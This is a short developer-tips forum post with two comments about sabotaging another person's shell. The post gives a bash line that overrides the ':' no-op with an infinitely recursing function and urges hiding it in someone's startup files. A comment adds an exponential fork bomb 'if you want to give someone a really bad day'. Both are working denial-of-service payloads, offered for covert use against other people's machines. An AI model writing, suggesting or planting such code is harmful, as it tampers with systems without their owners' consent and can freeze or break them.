evil bash
if you really want to mess with someone's shell scripts, hide this somewhere in one of their bash startup files...
:(){ :; }; export -f ":"
Assuming they use the :
noop anywhere. Explanation: define and export a function that overrides the :
noop...the function recurses infinitely.
Written by Nick Jacob
Related protips
2 Responses
Probably it can be done in any shell not only bash. So probably good titile will be Fork Bomb
over 1 year ago
·
Easily killed with a Ctrl-C. You want something exponential:
_(){ _& _& };_
If you want to give someone a really bad day.
over 1 year ago
·
Have a fresh tip? Share with Coderwall community!
Post
Post a tip
Best
#Shell
Authors
Sponsored by #native_company# — Learn More
#native_title#
#native_desc#